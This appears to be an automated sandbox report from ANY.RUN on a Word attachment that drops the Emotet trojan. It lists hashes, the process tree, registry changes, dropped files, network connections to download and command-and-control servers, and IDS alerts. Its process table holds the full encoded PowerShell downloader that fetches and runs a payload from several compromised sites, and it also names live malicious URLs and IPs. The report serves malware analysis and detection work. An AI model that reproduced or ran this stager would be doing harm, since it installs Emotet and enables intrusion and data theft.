| File name: | ATTACHMENT-621623-5790726.doc |
| Full analysis: | https://app.any.run/tasks/0f4a3543-1ca0-469b-8cca-23e8dc55d04c |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 24, 2019, 22:46:08 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: open system, Subject: redundant, Author: Emerson Kshlerin, Comments: Refined Cotton Table Games Horizontal, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri May 24 14:58:00 2019, Last Saved Time/Date: Fri May 24 14:58:00 2019, Number of Pages: 1, Number of Words: 17, Number of Characters: 97, Security: 0 |
| MD5: | FDE2E30522A7E67D233F4E400FC269AA |
| SHA1: | F40C3E1CB351C0DA57353780C5FA7DB33E5D60D3 |
| SHA256: | F3A97D8D40D49941A21E35C6FBD71E230EA29F8F1C478B4DA514FB82EEA8EEF5 |
| SSDEEP: | 3072:a77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qB+vCmhGTp1plIe:a77HUUUUUUUUUUUUUUUUUUUT52V+NmhC |
MALICIOUS
Application was dropped or rewritten from another process
- 441.exe (PID: 1156)
- 441.exe (PID: 3316)
- soundser.exe (PID: 3336)
- soundser.exe (PID: 2764)
- N4rikYvmwPiN.exe (PID: 3308)
- N4rikYvmwPiN.exe (PID: 2356)
Emotet process was detected
- soundser.exe (PID: 3336)
Downloads executable files from the Internet
- powershell.exe (PID: 1172)
EMOTET was detected
- soundser.exe (PID: 2764)
Connects to CnC server
- soundser.exe (PID: 2764)
Changes the autorun value in the registry
- soundser.exe (PID: 2764)
SUSPICIOUS
Application launched itself
- soundser.exe (PID: 3336)
- 441.exe (PID: 3316)
- N4rikYvmwPiN.exe (PID: 2356)
Starts itself from another location
- 441.exe (PID: 1156)
Executed via WMI
- powershell.exe (PID: 1172)
Executable content was dropped or overwritten
- powershell.exe (PID: 1172)
- 441.exe (PID: 1156)
- soundser.exe (PID: 2764)
PowerShell script executed
- powershell.exe (PID: 1172)
Connects to server without host name
- soundser.exe (PID: 2764)
Creates files in the user directory
- powershell.exe (PID: 1172)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3188)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3188)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserTypeLen: | 32 |
|---|---|
| CompObjUserType: | Microsoft Word 97-2003 Document |
| Title: | open system |
| Subject: | redundant |
| Author: | Emerson Kshlerin |
| Keywords: | - |
| Comments: | Refined Cotton Table Games Horizontal |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:24 13:58:00 |
| ModifyDate: | 2019:05:24 13:58:00 |
| Pages: | 1 |
| Words: | 17 |
| Characters: | 97 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Fisher, Pfannerstill and Marks |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 113 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Hackett |
Total processes
42
Monitored processes
8
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1156 | --9eb38daf | C:\Users\admin\441.exe | 441.exe | ||||||||||||
User: admin Company: AGG Software Integrity Level: MEDIUM Description: Advanced Modem Data Logger - dials with help of AT or TAPI modems and collects a data from remote devices to disk or to other targets Exit code: 0 Version: 2.5.2.0505 Modules
| |||||||||||||||
| 1172 | powershell -nop -e JABwAEEAVwAzAF8AdwBKAGoAPQAnAEUAWABMAGIAdwB3AG0AJwA7ACQASAA3AFMAdgBVAHAAIAA9ACAAJwA0ADQAMQAnADsAJAB0ADgAdgBGAHIAawBuAFEAPQAnAFgAMwA2AHMAegBTAGMAbgAnADsAJABaAHAAQwBwADgAaQBCAEgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgANwBTAHYAVQBwACsAJwAuAGUAeABlACcAOwAkAGEAWAB6AG4AQwBJAD0AJwBHAGgASgA0AEgASQAwADEAJwA7ACQAbQBEAEcAawBGAEYAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBgAFQALgBXAGUAYgBgAEMATABpAEUAYABOAHQAOwAkAHEAYgB6AE4ATQB3AHcAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGEAaQBzAG8AbgBtAGEAbgBvAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AG4AUgBwAEYAWQBDAHcARgBmAC8AQABoAHQAdABwADoALwAvADQAZwBzAHQAYQByAHQAdQBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdwBvAHQAZAByAG4AUABHAC8AQABoAHQAdABwADoALwAvAGIAbwBuAGUAcwBwAGUAYwBpAGEAbABpAHMAdABzAGkAbgBtAGEAbgBnAGEAbABvAHIAZQAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBlAGgAYgBpAG0AOQBxAF8AcQBnAHIAZQA1AG0AYwBqAGYAOQAtADYAOQA2ADAAOAAvAEAAaAB0AHQAcAA6AC8ALwBoAG8AbgBkAGEAdABoAHUAZABvAC4AYwBvAG0ALwB3AHAALQBzAG4AYQBwAHMAaABvAHQAcwAvAGMAbgB3AG4AdwBzAHEAaABfADUANQBjADkAcQAtADkAMgA4ADcANAA2AC8AQABoAHQAdABwADoALwAvAGIAZQB0AGEAYgBhAG4AZwBsAGEAZABlAHMAaAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AMgA0AHQAaABmAHMAdgBvAHkAXwB0AHkAMABpAHgAaABtAC0ANQA5AC8AJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEoAWgBKADUAMQBzAD0AJwBZAGQAbQBqAFQAMAAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAB3AGgAMgBpAG0AIABpAG4AIAAkAHEAYgB6AE4ATQB3AHcAKQB7AHQAcgB5AHsAJABtAEQARwBrAEYARgAuAEQAbwB3AG4AbABPAEEARABGAGkAbABFACgAJABsAHcAaAAyAGkAbQAsACAAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQAUABpAEkASQBDAGkAPQAnAEgATgB6AGoAdQB3AHQAXwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFoAcABDAHAAOABpAEIASAApAC4ATABlAG4ARwB0AGgAIAAtAGcAZQAgADIAMAA4ADAAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AEEAcgBUACgAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQATgBIAG0AaQBHAHAAegA9ACcARgBsAE8ASwBIADEAMQAnADsAYgByAGUAYQBrADsAJABGAE8AbgA0AFAAdgBtADUAPQAnAGoAdgBuAGkASABoAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBDAGQATgA1ADkAegBoAD0AJwBXADYAOABPAFIANwA4ACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2356 | "C:\Users\admin\AppData\Local\soundser\N4rikYvmwPiN.exe" | C:\Users\admin\AppData\Local\soundser\N4rikYvmwPiN.exe | — | soundser.exe | |||||||||||
User: admin Company: AGG Software Integrity Level: MEDIUM Description: Advanced Modem Data Logger - dials with help of AT or TAPI modems and collects a data from remote devices to disk or to other targets Exit code: 0 Version: 2.5.2.0505 Modules
| |||||||||||||||
| 2764 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | ||||||||||||
User: admin Company: AGG Software Integrity Level: MEDIUM Description: Advanced Modem Data Logger - dials with help of AT or TAPI modems and collects a data from remote devices to disk or to other targets Exit code: 0 Version: 2.5.2.0505 Modules
| |||||||||||||||
| 3188 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ATTACHMENT-621623-5790726.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3308 | --70f57ce7 | C:\Users\admin\AppData\Local\soundser\N4rikYvmwPiN.exe | — | N4rikYvmwPiN.exe | |||||||||||
User: admin Company: AGG Software Integrity Level: MEDIUM Description: Advanced Modem Data Logger - dials with help of AT or TAPI modems and collects a data from remote devices to disk or to other targets Exit code: 0 Version: 2.5.2.0505 Modules
| |||||||||||||||
| 3316 | "C:\Users\admin\441.exe" | C:\Users\admin\441.exe | — | powershell.exe | |||||||||||
User: admin Company: AGG Software Integrity Level: MEDIUM Description: Advanced Modem Data Logger - dials with help of AT or TAPI modems and collects a data from remote devices to disk or to other targets Exit code: 0 Version: 2.5.2.0505 Modules
| |||||||||||||||
| 3336 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 441.exe | ||||||||||||
User: admin Company: AGG Software Integrity Level: MEDIUM Description: Advanced Modem Data Logger - dials with help of AT or TAPI modems and collects a data from remote devices to disk or to other targets Exit code: 0 Version: 2.5.2.0505 Modules
| |||||||||||||||
Total events
1 697
Read events
1 215
Write events
477
Delete events
5
Modification events
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | m6? |
Value: 6D363F00740C0000010000000000000000000000 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1320681502 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320681616 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320681617 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 740C000078950B858212D50100000000 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | &8? |
Value: 26383F00740C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | &8? |
Value: 26383F00740C000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3188) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
3
Suspicious files
2
Text files
0
Unknown types
9
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRECD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1172 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R97IUMPIPEEG97ZZI764.temp | — | |
MD5:— | SHA256:— | |||
| 1172 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1219e9.TMP | binary | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A38DF032.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C8163CF.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$TACHMENT-621623-5790726.doc | pgc | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2F8D8B84.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6FAAADB5.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 3188 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\40EEF10.wmf | wmf | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
1
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1172 | powershell.exe | GET | 200 | 138.197.32.141:80 | http://www.maisonmanor.com/wp-content/unRpFYCwFf/ | US | executable | 164 Kb | suspicious |
2764 | soundser.exe | POST | — | 76.86.20.103:80 | http://76.86.20.103/merge/ | US | — | — | malicious |
2764 | soundser.exe | POST | — | 5.67.205.99:80 | http://5.67.205.99/symbols/stubs/ringin/merge/ | GB | — | — | malicious |
2764 | soundser.exe | POST | 200 | 144.139.247.220:80 | http://144.139.247.220/ringin/sess/ | AU | binary | 112 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2764 | soundser.exe | 76.86.20.103:80 | — | Time Warner Cable Internet LLC | US | malicious |
1172 | powershell.exe | 138.197.32.141:80 | www.maisonmanor.com | Digital Ocean, Inc. | US | suspicious |
2764 | soundser.exe | 5.67.205.99:80 | — | Sky UK Limited | GB | malicious |
2764 | soundser.exe | 144.139.247.220:80 | — | Telstra Pty Ltd | AU | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.maisonmanor.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1172 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1172 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1172 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2764 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
3 ETPRO signatures available at the full report